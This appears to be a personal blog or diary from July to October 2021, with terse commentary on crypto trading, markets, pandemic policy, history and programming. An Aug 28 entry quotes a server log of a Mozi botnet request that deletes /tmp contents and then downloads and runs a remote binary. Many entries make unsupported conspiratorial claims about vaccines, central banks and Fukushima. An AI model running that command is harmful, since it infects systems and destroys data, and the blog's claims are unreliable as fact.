Malaysia Destroys 1,000 Bitcoin Mining Rigs With A Steamroller
Jul 20 2021
Oswaldr Boelcke was Red Baron's predecessor. Both died 25 y/o.
"You can win the men's confidence if you associate with them naturally and do not try to play the high and mighty superior."
"I only open fire when I can see the goggle strap on my opponent's crash helmet."
Jul 21 2021
Volume spiked, ate the whole capacity on one of the servers. During NY trading session, naturally. One coin did it. Guess which coin did it? Yes - that one. Watch: Capitol Defendant's Attorney Says Detainees Are Being Subject To "Torture!" In Contentious CNN Interview maybe this is related, actually. The crypto-thing is working full throttle now and some countries are on a losing side of that trade. Guess who is on a losing side of crypto trade?
Jul 22 2021
So there is one company that I've built 20+ years ago. It changed hands many times since then. Once in a while I look at the "management" section. I can tell *a*lot* about the state of modern world from that single page. That's why businesses never "fail". Just change hands.
Singapore makes a firm stand. "It's a virus, like a flu". Pandemic is *no*more*. No quarantine etc.
Jul 23 2021
Figured a little bit more about this crypto bubble. There is only one safe hedge for that industry and it's counter intuitive. Still in a nutshell, the most balanced statement would be "crypto is a deadly video game, but poison could be the only medicine for some cases, just need to know how to use it right".
"Oh, East is East, and West is West, and never the twain shall meet"
Vegas Strip Club Now Accepts Bitcoin Payments
So, one can spend BTC on Nice Ladies, on Mansions and on Tesla's (scratch that. Can't buy a car with BTC no more. So only ladies and real estate). Any other circulation - not so much. Interesting conundrum, ideed.
Jul 24 2021
CNN: Segregate Unvaccinated, Make Them Pay For Tests Every Day
It's pretty much like ETH wants you to pay for every keystroke. ETH is becoming a real problem now. Not surprisingly.
Jul 25 2021
Absolutely nothing to see here. This is the volume spike on one of defi major players.
It has *absolutely* nothing to do with Vitalik Buterin's surprise cameo in Ashton Kutcher and Mila Kunis' living room
Ironically, what Vitalik says is not really *that* far off.
Turing complete, distributed, decentralised.
Not a monopoly, though.
Turing complete. Distributed. Decentralised - *no*big*deal*.
It's only a big deal for degraded population.
That's the (only) problem here. All in all, so far the hedge is working as designed, so I guess it's all good.
Update On Original Doomsday ArticleWhat Effect Would Tether Being A Complete Fraud Have On Cryptos
If Tether is just minting USTD out of thin air and then using it to buy up Bitcoin, Ethereum and any other assets they can, then that's a problem (and it's also an exact microcosm of what central banks have been doing with intensified zeal since 2008).
Oh, yes. That's actually *exactly* what happens. They just do what European Central Banks already do. Problem is - European Central Banks went full throttle into supporting Nazis in Europe. Killed Ugoslavia. Killed Ukraine ( *twice*! First via USSR collapse, second via Russia collapse ). Killed (many) other countries. That massacre was providing some 'fuel' for this fire. By this time nobody is left to kill, so there is a pandemic now. They only kill educated countries. Killing uneducated countries gives no loot. Solution? Stop killing educated people to feed the mob. Will be decided next 4 years in the USA.
"Tether is a $60 Billion pile of liquidity that collateralizes a whole bunch of futures and leverage embedded in the crypto currency system" yep. Still 'better' than trillions of $ out of thin air.
Said differently, Tether tells us more about the flaws inherent in fiat currencies than it does about cryptos. Tether could be viewed as a microcosmic example of the USD being played out in fast-forward. When and if Tether implodes, we should watch carefully for hints of what could happen in a full blown USD (or any other fiat currency) crisis.
Also correct. Tether is 'just' a $60Bln model for $Trillions. Casino (still) thinks it always wins. Only does it? I think too much bluffing since 2008, so nobody actually can model with 100% certainty what's happening (but a lots of people pretend that they can). I called this stuff in January - 6 months ahead of Zerohedge. That does not change a thing for me actually. Still - this is an accurate article. Finally. (Recommendations are *all* wrong, though. Rather amusing. The dude is not a trader, 'dabbles' in trading most likely).
Bitcoin tops $39,000 for the first time in nearly 6 weeks, adding $114 billion to the crypto market
That's why all that volume was moving. They just dropped a *massive* bomb on cryptos today. I just could not belive my eyes. This is what started these 4 years. Options traders will make a killing, I think. This is getting rather annoying after 4 years. I wonder what's next.
That was a *classic* short squeeze. Most likely first ever short squeeze on crypto. This means after they trashed Wall St, now it is time for them to trash themselves. Ironically, that was the way they got to power.
Jul 26 2021
Figured out Java. Figured out ML. Figured out why there is no ML in Hadoop. Kind of figured out Wavelets (again). Took a few years. Ironically. Well, last 4 years were pretty much lost. What a waste.
People got used to WFH so Real Estate people (like trump) are in trouble now.
Usually it's coming from the C suite. Who's getting it from the CFO, from Real Estate Services, who have brilliant (but meaningless) spreadsheets that attempt to make a point about how the empty real estate is a drain on the bottom line, and through the high magic of culinary accounting they can make it all go away if only there were butts in seats.Today's trading session was (is) interesting. Clearly what happened yesterday was abnormal and they will have big problems repeating it. That's the problem with insane "bitcoin" moves. It only works 1st time. Also - it looks like the volatility is not injected by BTC, it's being adsorbed by BTC now. Everything will be very clear by the end of the month. No way around it.
Figured out the *real* situation with some of USA "regulated" exchanges, who are actually *not* regulated, but got their licenses via bribes. Crypto destroyed them. Absolutely destroyed them. That's why there are some unusual activities in their host cities.
Jul 27 2021
World's Largest Cryptoexchange Limits Withdrawals For New Users To Just 0.06 Bitcoin
Binance is under squeeze. To encourage responsible trading, leverage has been limited to a maximum of 20x for accounts opened within 60 days on Binance Futures. Of course. So now the old guard can still get 100x and the new wave - not so much. They are now discriminating inside a single exchange! Before that it was based on citizenship. Very interesting, indeed. Discrimination inside a priveleged group only means they are grasping for straws. What's next? Depending on the color of your skin the same bet is 100x for you? Why not? Was ok to play against US citizens for 4 years (that's a group as well)
I need to write this down, because for some reason nobody *still* understands how this crap works.
1. People in USA make bets with leverage 1x1.
2. USA crypto exchanges front run their users and sell the order flow realtime to Europe.
3. Europeans (even Canadians actually, anybody - except US citizens) are "betting" sure bets with leverage 100x.
4. Robinhood does the same for "stawks". The difference is that for non-crypto it's not *this* obvious.
Result : planet is f*cked completely in just 4 years. Mission accomplished.
The way it happened can actually be traced to one conversation we overheard in one key US state. That was long, long time ago. There was an old guy and young guy. The old guy was saying "but it will hurt many people!" and the young dude said "but it will not hurt *you*". Well, fast forward to trump. Trump is not a problem. Trump is manifestation of a *real* problem. Which is generational. The "management" is absolutely *not* what it used to be.
Ether Trading Volume Growth Beat Bitcoin's In H1 For The First Time
That's because traders run out of funds and scale down a little bit. To trade BTC need to be perfect (or have tons of money to burn). ETH is a hedge. Less extreme.
It's a wet dream of *any* banker to be able to print coins when needed. Not bound to *nothing* ( and also - who is responsible? *Nobody* - because "decentralized" ). "What's crypto currency, babe?" "What's blockchain?" "What's decentralization?". The pandemic is a wet dream of *any* government worker : "Hey - you : do this and that! No questions asked! Because medicine". No surprise those two go hand in hand together last 4 years. Wet dreams of crazy people. They will not last of course. There will be plenty of damage, of course and then they will all cease to annoy the population.
Jul 28 2021.
"What's crypto, babe?" - Yet another re-incarnation of Burbakism, dude. Check it out. It's in the books. Books are in the libraries. Libraries are in the countries, that have libraries. USA used to be one of those. Ukraine was one of those too. Soviet Union was one of those too. The list goes on. The only thing that is certain - there was *no* Hitler in Japan.
Jul 29 2021.
There are few core rules of human civilization. The one most important (pragmatic) rule recently is this : whatever people do to animals they *always* try to do to people eventually. Think cows wearing gas masks is just some sick joke? Think again. By the way few people know that hitler was vegetarian. Something to do with cows. I have nothing against vegetarians, by the way. I do have problem with documentaries from the WW2. They restored those and there is plenty on youtube. In color. Some amazing footage. Just one frame in one of the documentaries changed a *lot* in my view on WW2, and I thought I knew it pretty well.
Another important documentary that's on youtube is the last speech of Soviet Nuclear scientist being pushed around by Soviet Farmer in 1989. Nobody understood that the price for that little episode will be a collapse of superpower, millions killed etc etc. The idiot farmer is still alive and got his Nobel prise. The Nuclear scientist also got his, but he died very fast. Nuclear phyisics kills people, unhealthy stuff. Problem is that farmers will never like that nuclear energy thing (Chernobyl destroyed the largest source of clean water in Europe, Fukushima destroyed the ocean by this time, how can one like the nukes?) So this conflict will always be with us. Nuclear scientists having their way can destroy the planet. Without their work - there is no space travel possible. No way out of this deadlock since 70s.
Jul 31 2021.
Front running crypto markets no longer requires any skills at all. They're trading between each other now. Pretty much like Wall St had to do 1 year ago. This means crypto markets are 1 year ahead of Wall St. Well, they trade 24/7 so of course they're ahead. It's clear that the head of the snake is in Europe.
Stumbled upon elegant mathematical model explaining prosperity of various diasporas. Looks applicable to crypto currencies.
Aug 02 2021.
The axes of evil are ripping USA apart. Idiots, who enable that for long time now, are still pretending that "everything is fine". No. It is not 'fine'. By this time idiots are clearly visible. There is not many. When things swing back it will not be pretty. ... It looks like things started to swing back today ...
Aug 03 2021.
Smart contracts on BTC chain is next 'big thing' in plain sight. Nothing prevents taking Solidity subset and compiling into Bitcoin blockchain. Well, there is of course a whole cottage industry of idiots pretending this and that, but I'm talking about the technicalities here. Ironically, the same (fake) challenge was imposed by XML's DTD / YACC 'incompatibility'. Only it took me a week to write a transpiler. Same can be done here. After 'scamdemic' will be dealth with, maybe I'll find some time to write that engine.
Aug 04 2021.
Olympic Gold. Some of it is still - out of this world.
Might be all drugs, though. Even a little bit is enough in atlethics.
They should have separated drugged / non-drugged long time ago.
French had a movie about that.
Maybe they will separate. Depends how it will go on current trans/non-trans.
The China Model: What the Country's Tech Crackdown Is Really About The government's clampdown signals a new era of harsher oversight that companies won't be able to avoid by registering in the Caymans or hiring in California. The only winner of this is only one country. And that's not USA, of course. There is only one counter that matters now. Ratio : non-english speaking US residents / english speaking US residents.
Aug 06 2021.
Big guns are moving into payment tokens. This means stablecoins are out. So are NFTs (but for another reason). This is temporary. It's remarkable how much information one can find in a dumpster.
The diasporal mathematical model that I found in the end of July. F(X) -> Y actually means that from Y' it is possible to estimate the F(X). I think that's what forbidden Russian mathematician stumbled upon. For cryptos F(X) is kind of in the open, but for diasporas it is not publicly available, so the Russian *had* to solve it in reverse.
For crypto - BTC has the max F(X), so Y' is dropping. Looks like the theory holds.
Crypto companies are all f*cked by Biden's Bill and they are reaching out for support. This "we are all in this together" is *really* annoying by this time.
Current blockchain "bubble" is the Amazon on steroids. Whoever controls the mining controls the planet, because the minted coins are then (easily) hedged and only the miners have the (guaranteed) profits from the whole sharade. That's why Biden now attacks the whole damn thing. Would he start taxing Amazon, though?
China just convicted 4000 people. 1000 "foreign agents". The lawsuit carried on for 8 years.
Aug 09 2021.
The biggest problem I have since 2008 is the gap between what people really want, what they think they want and what they say they want. The gap clearly widens, so it's like talking to somebody on strong drugs. Most of the time they *are* on strong drugs. Last years the dosage goes up. This goes with the territory.
Crypto Amendment Fails In Senate
This is so very interesting. Masternoding is "Ok" and Wallet developers are "Ok", but people who trade are all "brokers". I think it's very interesting what they are trying to do (and it looks like this is billionaires trying to destroy millionaires. Aaaand also - it "did not work"). Much fun.
Archegos Founder Bill Hwang Plots Comeback From Sleepy New Jersey Suburb After Losing $20 Billion
Credit Suisse claimed in its recently released report that Hwang and Archegos likely "deceived" CS about the true extent of its positions with rivals, and even withdrew billions of dollars in collateral days before the blowup.
Aug 10 2021.
AMC says it will accept bitcoin as payment for movie tickets by year-end
Aug 11 2021.
So, the old world has no doge coin.
In the old world - there is no trading parody money.
Dogecoin market cap is : 7
Now imagine the 7th market cap of the Old World to go bonkers ... Hmmm ... who is the number 7 in Market Cap?
Yep. Imagine that kind of power start breaking the trade rules.
Would not it be ... interesting?
Well - no need to guess! Just look at the model. (Crypto is the model).
Of course there is no way they would do anything silly on their own. Need support from one of the 2 largest market caps. Guess what ... Just look at today's crypto session. The question is only how much money the pyromanicas got. I think they only got the proceeds from the last major hit job. (Two weeks ago)
Time to build a bit bigger boat, I guess...
The old rule about "don't take two compasses only take one or three" in the world of physics that's bullshit rule. In the biological world that's perfectly good rule. I guess it's an old rule.
NY is out, TX is out, California is next and it shows. Trump did not bother to build himself a twitter. Californians did not bother to build themselves secure lines for communication. Makes life easy in times of peace. Not particularly safe position during the war.
44 airports closed in Russia (permanently). In May. Including major ones. This is worse, than 90s.
New batch of crypto jobs is hysterical cry for influencers. Circulation had been killed, most of the projects are vaporware. Surely the only thing missing is a bunch of shills now. Not really encouraging ...
Going for Broke in Cryptoland
"I'd made a million dollars before, but over the course of three or four days," he said in an interview in May. "I'd never made a million dollars overnight."British dude.
Some people believe that boomers and other older generations have a death grip on the world's wealth and will never hand it over. Crypto is an end run around that problem.massive sentiment in Japan.
I consulted two lawyers who had expertise in the area: one in Manhattan, Philip Moustakis, and another in London, Dan Hyde, author of a book on international crypto law. Both told me that coin creators could be sued by regulators in either country. In the United States, the trouble would start if the coin met the legal definition of an "investment contract," which it would if it came with an expectation of profit and the profit resulted from the efforts of a promoter. The wisest course, the lawyers said, was to ensure that Idiot Coin was utterly hopeless."lawyers said that you can be sued". Remarkable, NYtimes. Just *remarkable* journalism. It's not so simple, NYtimes.
Aug 12 2021
Google has power. Every person who operates white hat (real name) is googled. I recently tried to google my name and the change is *drastic*. It's all clearly human curated. Also, should be possible to click "remove me". I think French sued Google and made it possible in Europe or something.
Aug 13 2021
DeFi. This week saw the biggest hack in history. On Tuesday, a hacker drained Poly Network of approximately $613M in funds. The protocol operates on the Binance Smart Chain, Ethereum, and Polygon blockchains and the attack hit each of them. In response, Tether froze approximately $33M. A number of addresses started effectively digitally panhandling, asking the attacker for a little bit. The episode was a reminder to some of how early DeFi remains, but it doesn't seem to have dampened enthusiasm overall, especially after the hacker (who started the #DearHacker trend on Twitter) returned nearly all of the funds on Thursday."Hooker said the sex was so good ... hooker gave the money back!". Only in the world of crypto (DeFi). It's magic, babe!
Is ETH Deflationary now?Trying to put a spin on pyromaniac, who is just burning money left and right to pump up the prices by limiting supply. Ultra Sound Money. Germany had those "ultra sound" money for a few years. And then they did not. To know that - one has to read (and the battle around (elementary) schools in USA is now getting fierce).
Last week the Ethereum community kicked off a new era with the implementation of EIP-1559. The nominal goal of the shift is to smooth out gas prices, particularly in times of high demand. Part of the new mechanism for combatting excess gas fees is to burn a part of the fee in ETH with each transaction. This means, in theory, that more ETH could be burned than is actually issued. In aggregate, that would make the total supply of ETH deflationary. Of course, this wouldn't happen right away, right? Wrong. Within hours of EIP-1559, the world's first deflationary block had been confirmed and that just continued. A week later more than $100M of ETH has been burned. Maybe there's something to this Ultya Sound Money meme after all?
Checked out docker. So once upon a time there were LXC containers. And there were VMs. But there were problems with LXC containers and problems with VMs. Let's do docker they said 12 years ago. Now there are problems with LXC (nobody fixed those) problems with VMs (because nobody fixed those) and a disaster with containers. Keeping people employed is no simple business.
This is huge. Vaccine Expert Vanden Bossche Calls For "Immediate Halt" To Vaccinations, Says They Encourage "Escape Mutant" Variants
And Vanden Bossche is an expert in the space with an extensive resume. He received his DVM from the University of Ghent, Belgium, and his PhD degree in Virology from the University of Hohenheim, Germany. He has worked for several vaccine companies (GSK Biologicals, Novartis Vaccines, Solvay Biologicals) to serve various roles in vaccine R&D as well as in late vaccine development)
He also joined the Bill & Melinda Gates Foundation's Global Health Discovery team in Seattle (USA) as Senior Program Officer before working with the Global Alliance for Vaccines and Immunization (GAVI) in Geneva as Senior Ebola Program Manager. At GAVI he tracked efforts to develop an Ebola vaccine. He also represented GAVI in fora with other partners, including WHO, to review progress on the fight against Ebola and to build plans for global pandemic preparedness.
He then joined the German Center for Infection Research in Cologne as Head of the Vaccine Development Office.
Aug 14 2021.
Hell Came: Millennials Lost "Millions" On Bill Ackman's SPAC Implosion
This is so very interesting. The guy was playing against Herbalife stock since 2012. (And he was winning).
The run up from pandemic all the way to February - and then solid down, down, down. The gigantic crypto grab happened exactly at that time (on the way up). (Number of crypto in curculation equals USD in circulation). So the guy was given an opportunity to participate in doubling of monetary mass of this planet Earth. Thank you, dude. And then it's down. Not needed anymore. How many other funds were used for that grab? I think all of them were used. How many will make it to the next cycle? Not many.
Aug 15 2021.
Figured out one of the sneakiest BTC manipulators. Elegant combination. Head is in Europe, tail is in Africa. (Shell) Company is in the USA. This is becoming a standard blueprint recently. Some of the biggest names in crypto are all like that. Regulators can not possibly miss all this, so this means they are mostly helpless by this point. The country of USA will be governed directly by God now. Like they used to joke about Russia being like that in 18 century, I think. Google is useless. So here is the quote in Russian:
"Russia has the advandage against other countries because Russia is governed directly by God, there is no other rational explanation for it's exsitence"
Source: Nikita Panin (Russian diplomacy XVIII century)
Basically, they're implementing a sick joke attributed to 18 century as a governance model in 21-st century. Everything will be fine, right? (Some countries will keep the spaceships, I guess. There were none in 18 century). Welcome to collapse of SU in the 90s. Planet scale.
I've been browsing the online flea market and found amazing job. People want somebody to write them a whitepaper for their token (for $2K), the whitepaper should be "like X". The whitepaper X cites the Nobel Prize in Economics from the 90s. So I looked at that stuff - it's a bonding curve. Not the simple one, but still. It's a bonding curve. Basically, to get a job with computers in modern world, one should be the level of Nobel Prize in Economics? And some people just want "something like that for $2K"? If this is *not* Idiocracy, I don't know what is.
Aug 16 2021.
Afganistan, China, SF.
Aug 18 2021.
Aug 19 2021.
Distribution destroyed (production is kept). M4. Ghost of XSLScript.
Coinbase CEO Confirms $500 Million Crypto Added To Balance Sheet, Will Reinvest Profits - unlike Binance, Coinbase does not have a token of their own. They make money on fees (and now it will be HODLing / sucking out the liquidity, Pyromaniac's style). Basically, they're like a blend of Masternoders, HODLers and Pyromaniacs. But that's *not* most important thing about them. This crypto stuff is now attacking the US governance rather openly. *Now* it is becoming obvious why death threats were flying in SF between those elite CEOs.
Aug 20 2021.
As of August 1st, Idiocracy is free on Youtube. My browser can not play it. It can only play the ads. Fitting.
Recommending Cryptocurrency Trading Points with Deep Reinforcement Learning Approach
Five years later, only 7% remained.Looks about right.
Day traders with good past performance continue to make good profits in the future, although only about 1% of day traders can predictably make a profit minus fees.
Aug 22 2021.
In theory, there is a difference between knowledge and pile of experimental data with probability close to 1. In practice (aparently) - nobody gives a damn about that tiny difference. Mostly people only care about levels of probability. That's from Feynman. Re-applying theoretical physics principles to biology was forbidden since 70s. Now it is not. Well - the Earth is flat, so who cares. Richard Feynman on Scientific Method (1964)
It's a trivial formal logic catch. If "something" is producing probabilty close to 1, that something "knows the truth", (the side effects be damned). This 'side effects be damned' is what differentiates Nuclear Physicist from The Farmer.
Richard Feynman was a superb dude. For instance, NASA managers claimed that there was a 1 in 100,000 chance of a catastrophic failure aboard the Shuttle, but Feynman discovered that NASA's own engineers estimated the chance of a catastrophe at closer to 1 in 200. He concluded that NASA management's estimate of the reliability of the Space Shuttle was unrealistic, and he was particularly angered that NASA used it to recruit Christa McAuliffe into the Teacher-in-Space program. He warned in his appendix to the commission's report (which was included only after he threatened not to sign the report), "For a successful technology, reality must take precedence over public relations, for nature cannot be fooled."
Do they understand they are playing against their own national currencies? I think they do understand. How many idiots it takes to destroy the currency? Not many. This means the *only* hope is on crypto people now. Who are their kids mostly. So the bet is that their kids will do better, than them? That is a losing bet. We still have it a bit better, comparing to Mark Twain. Wikipedia is a depressing reading.
Aug 23 2021.
It's really illuminating when the company that was stolen from you (would not exist without you and *still* is sucking money from you) is sending you threatening crap. I think the business machine of US might be in some sorts of trouble lately. And yes. Thier kids are dumber, than them. It'll be a long uphill battle next 4 years.
On a bright side, another company, that I built here is in business of bragging how much money they got (and that's it. The whole business model is just that. 20 years of waste, if you ask me, but that's how they roll for centuries, so maybe they know what they're doing)
Aug 24 2021.
Whales destroyed some alts today. DASH people lost some ammo today. The angle of DASH is interesting. Trying to be a middle ground between BTC and ETH. Arbitrage only looks appealing on paper.
El Salvador Installs 200 Bitcoin ATMs As Crypto Set To Become Legal Tender
Aug 25 2021.
This "management" through texting is not such a bright idea, really. They're literally trying to replace people with Elisa-like bots. They are not particularly bright and mostly illiterate. They do have piles of money (were accumulating that since 2008) but that's about it.
I think one of the most disgusting words of XXI century is "hackathon".
Today Whales destroyed the rest of the alts, but the smartest alts made some money by piggy-backing the whales. Looks like the brains behind DASH (and DOGE) are not evenly distributed. Whales face a dilemma now. Surely they can keep destroying the alts, but would that work in the long run? I think the whales are betting on ATMs being deployed all over the planet now. Salvador is crucial. I think by this time ATM market is saturated in the USA and whales were surprised to discover that population of USA (which is broke by this time) has no use for yet another bunch of ATMs.
Some of DeFi companies are looking to hire deranged (dangerous) people. By design. The trend just started.
IOTA debacle. Such a mess. I could have predicted it from the beginning, though. Also, it's not really a 'mess'. I am almost ceratain, most groups will detonate from inside. That is some Elegant and Existential Design. Chairman Mao approves.
Aug 26 2021.
End of the line for some crypto projects. Spent all the grants and produced nothing.
Every crypto group has (at least one) double agent in the core. Why do you think IOTA self-detonated? The most toxic groups have more than one. Yes, kids. The battle between good and evil - exists. Still does.
Did I just seen the two whales making waves? Looks like that.
Whatever Voltaire or Descartes interpret, the world is a deck of cards for me, Life is a bank: fate shuffles, I play And I apply the rules of the game to people.Google translate is still ok translating *old* Russian poetry.
This one had an amazing turn of words, I had to correct two words.
I might have found the new obsession. Playing with auto-translate is fun.
Aug 27 2021.
Teenager with two guns. Crazy Chick - notice, her gun has a blade. The (Semi-Professional) Dude behind her has no blade. Professional Dude(s) - killed. "Defunded". So is Man With No Pants (Most likely reference to Death of Marat). Check out 'Femen' movement, what was their activities in Ukraine and what happened to their leader after she moved to France. Another (usually not well known) thing about Crazy Chick - at that time they used some toxic chemicals to paint the rooms (they did not know everything in 1830). Also - syphilis. So there were plenty of crazy (literally) half-nekkid chicks running around in Paris. There is a rather clear link between heavy industry (including nukes and now it is also wifi and drugs dumped into water) - poisoning the environment and the revolutions/wars. This picture is a masterpiece. Zero differences with some modern places. *Nothing* changed since 1830. This is a picture from Ukraine 2014. Should I name some places like that in 2021? I can. You can. The more pressure from thugs (one is enough) - the more resistance from crazy chicks (one is enough). Portland battle. The buildings in the background are modern buildings. Painted in 1830.
Aug 28 2021
We've reserved some great blockchain devs for you - The lemon inside a pyramid, that's very cute.
188.8.131.52 - - [28/Aug/2021:20:02:23 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://184.108.40.206:52489/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 498 "-" "Hello, world"Any idiot with a bunch of scripts now thinks they are "god".
Found a way to fix one broken arbitrage, that was put in place 30 years ago. It's around product/non-product.
The Game-Players of Titan
It seems like we are playing some vast and incredible game, but really we are the tokens, not the players. It the Vugs that play, and they play on Titan, on another world, in a meta-game... by their own rules. Because nothing changed since 1830, or course even less changed since 1960s.
Aug 29 2021
There was a little (but critical) difference between "I will make him an offer he can't refuse" by Don Brando and "I will make you all do what I want, by not keeping my side of the deal, ha-ha". The difference is obvious. Don Brando keeps his side of the deal. Don Brando is no hypocrite. Paying in gold vs paying with monopoly money. De Niro instantly figured that out and openly talked about it. Nobody can really say "we did not know".
Missouri Mayor Wants To Give Every Resident $1,000 In Bitcoin, But There Is A Catch This is Soviet Playbook. $1000 in bonds, but you can cash out in 5 years. Then 5 years became 15 years. Then 30. Eventually nobody was left to cash out. Second-Largest US Mortgage Lender To Accept Payment In Bitcoin
Aug 30 2021
I remembered that Hermann Hesse (Steppenwolf, The Glass Bead Game) was German, but I did not remember he was actually German-Swiss. Durrenmatt was Swiss. (The Winter War In Tibet and plenty of other prophetic stuff). Swiss are heavy hitters. Their stuff works 100 years after they're gone. Not only they consume the USA throught the Dollar (which was a weakness of USA), they also consume Russia (again - purely via the cultural weakness). It's no surprise the Lenin dude has been designed in Switzerland ... I tried to figure out, who is behind some atrocious developments that started to happen on Russian TV very recently and the answer (verbatim) was in Steppenwolf. Originally published in Germany in 1927, it was first translated into English in 1929. Also, one of their Olympics teams behaved in a bit unusual way in Tokyo.
During the blocade, don't even need two whales. Two elephants is enough.
"Interest Is Significant": Cash Is Pouring Into Crypto Altcoins At Record Rates
There is surely more pump and dump happening every day now. Would that be good for the index? Hard to tell.
NFTs are in a bubble. They're re-creating philately, basically. Crypto Punks is a clone of ONE PENNY in a way.
What is the highest price Bitcoin has reached? Bitcoin reached a price of $64,863 on April 14, 2021.
$17 Million Realized in Sotheby's First NFT Sale with Digital Creator Pak April 16. 2021
Aug 31 2021
Monte Carlo, babe. Looks a little bit like SF, only with less poor people in the streets.
6 legs. That's progress.
Sep 01 2021
The thing with von Neumann architecture, it's *so* basic, that people trying to find holes in it usually try to split the blocks into subcomponents (and each subcomponent usually just follows the von Neumann). Von Neumann is a Fractal, effectively.
If you want 2 CPUs, just pay $20/month instead of $5/month.
Sep 02 2021
Figured out the app.
Sep 03 2021
This internet thing, it was OK 20 years ago, but these days it is memes. Like smoking. Bad habbit. Ironically, the software part of it still works. The rest - not so much. It basically stopped at google (which was put together to find code snippets and quick bugfixes for the broken installations of open source. That's how I use the internet still). After that was accomplished, the progress stopped. Google started in 1998 and became big around 2004.
Florida To Fine Businesses $5,000 For Violations Of Vaccine Passport Ban
Binance Told It Is "Required To Cease Providing Payment Services" In Singapore
I think that putting the cat back in the bag will take some time.
Sep 04 2021
In corner cases, Monte Carlo beats Black Sholes. That's because Monte Carlo is much older, I think, and everything is a "corner case" now. Burbakism is in the core of it, so it's time to re-read what they had to say, really.
"Right. One, two, five!" "Three sir."
In modern world, Frankenstein is called Martin Bayes. Electricity is still involved. Gotta give it to Mary Shelley. 1818.
Sep 05 2021
Macros vs Functions. Goto. Not kidding.
Last time Prohibition in the United States lasted 13 years. The end was supposed to be in 2021.
Sep 06 2021
Burbakizm stacks French branch vs Anglo-Saxon branch of Math. The Factorial Puzzle from Arnold's duel has a (third) solution.
Sep 07 2021
ETH dipped 25% a day - not many countries are hedged.
Asia gotta crack. Just did, basically. Pacific.
Stocks, Bonds, Bullion, & Bitcoin All Drop As Dollar Pops. Today was the pushback, so : Justin Trudeau Pelted By Rocks At Campaign Event. Particular central banks trying to fight fire with gasoline.
Sep 08 2021
Time to stop the notes for a while. Australia Is Now Confiscating Booze Delivered To People Forced Into Lockdown
Sep 09 2021
Betting Against NFT market. 2021.
Sep 10 2021
Hello World That Took 20 Years (And couple countries collapsed around me. The number is 3 and counting.)
Sep 12 2021
Crypto currency trading - not really trading. It is capital management on steroids. (That's why P=80% is a 'loss', but P=36% is a 'win').
Sep 14 2021
Well, the world will not be the same for a while. Idiots self-isolated. All over the planet.
I think that my cloud provider is not aware that his hardware is beginning to fall apart. That's the only explanation for sysload spike, io spike and no userland activity.
Sep 15 2021
Japan allows 1st restarts of nuclear reactors older than 40 years. Country looks to mobilize aging nuclear power plants to meet climate goal
Japan had about 50 nuclear reactors when Tokyo Electric Power's Fukushima Daiichi plant was struck by a tsunami in 2011 that knocked out its emergency power, leading to a meltdown. Since then, more than 20 reactors have been marked for decommissioning. By 2030, nearly half of the country's remaining reactors will be over 40 years old.
Apres moi, le deluge 1715.
Sep 17 2021
Crypto's math is more complex, than stawks. As simple as that. *Very* problematic situation for the planet.
Pope Francis is clearly ahead of the market on some things. 4 months ahead on mining, for example.
Ironically, onorthodox HODLing might be the only reasonable strategy. Back to the basics, effectively.
Sep 18 2021
Rust is emerging. Still too easy. Smart contracts in Brainfuck might become a thing one day.
Sep 20 2021
10% flash crashes? Traders are screwed, miners and option traders 'win'. Looks like Goldman is in the game now. Goldman and Canadians benefit. Miners benefit (that's why hit's on Miners in China again ...).
Sep 21 2021
Crypto Crashes As SEC/OCC Warn Of 'Reckoning', Question "Long-Term Viability" Of Private Forms Of Money
Crypto Crashes because it's designed to Crash. And then to Rise. It's humanitarian project, like the internetz was back in a day.
"Stablecoins are almost acting like poker chips at the casino right now," said Gensler. Not true.
Sep 26 2021
Frontrunning As A Service: "Flashbots" Can Now Enable Anyone To Skip The Transaction Line On Crypto Networks
The creators of Flashbots attest that they are simply "trying to solve a serious problem" of miners having power to decide which transactions in a block get priority while processing transactions for the ledger.
Sep 27 2021
Bitcoin is illegal in China. Europe shifts gears on NFTs. Big Short guy subpoenaed. For obvious reasons.
They are desperately trying to find people with computer skills outside California. They can not.
Sep 29 2021
The book I wrote in Y 2000. Turns out it costs $130 new and $4 used. I can not afford it. But I wrote it.
So NFTs are in an obvious bubble, some group of people needs to move piles of money (and everybody understands that. BTC is no longer sufficient, because it's traceable). There is about 5 actual players in crypto world now. Pretty much how it was in the beginning of PC bubble in the 80s. Borland! Oracle! Microsoft! Ashton-Tate! Lotus! These were the days. I still remember Borland's Turbo C. It was a real marvel. Point is - not many players, that matter. Each with a clear message. Of course there was plenty of noise (like it is now) but the perfect message will win. It always does. NFT! LOL Cats! Meme! that's not much of a message. Noise.
This winter there will be an energy crisis. Grids are already being rationed. And some people would be burning coal to move pixels of monkeys? The disturbance in the Force is clear with this one.
Sep 30 2021
Some European countries dictators have a problem with USA. Who would have tought.
Loked at PoH. It's a corner case of PoP.
Figured out the y*x=k semantic trick. "surely you're joking mr. feynman". highschool edition.
In Belorussia police just killed an IT engineer. In his own house. I almost was hired by that company at some point.
They have offices all over the world. I wonder what police wanted from the engineer. Such bullshit.
There is no news about it on Google.
Oct 1 2021
It is surplus of China money being pumped into everything that moves. Their economy is collapsing, so they are only focused on redistribution. That pushes capital outflows. Where do outflows go? To USA of course. It's Biden administraion afer all. The dude, who sent everything to China in 2008. So who takes the money it the USA? Yeah. The agencies. The very agencies, who destroyed the country, and run away.
Oct 2 2021
Figured out the duel of two economists from the 90s.
Oct 3 2021
Electicity down. Same time, same day. The beginning of "NY session". Texas was almost wiped out by this. This winter will be something.
Oct 4 2021
Elecricity down for second day. Fb down. Yes, what happened to stawks today was abnormal.
Oct 10 2021
China real estate. $62 Trillion invested in ghost cities.
Indian technical sector. "If coal supply doesn't improve, there will be a blackout in Delhi in two days..."
Europe is going to freese to death this winter.
I think little cold countries, like Norway, are doing just fine.
I think little tropical islands are doing OK too.
Oct 12 2021
Massive influx of latin americans into California?
Not the doing of democrats.
Oct 13 2021
I think at the moment the most interesting reading on this planet is San Jose Mercury News, printed edition.
The trick is to google for names and stuff. And wikipedia also.
First published in 1851, the Mercury News is the last remaining English-language daily newspaper covering the Santa Clara Valley
New batch of crypto jobs. In DeFi they now have a job title "degenerate" (degen). As in :
"Hi, I am degenerate in residence for xyz". What can possibly go wrong?
Oct 14 2021
Cryptos Surge On News SEC "Set To Allow" Bitcoin Futures ETF
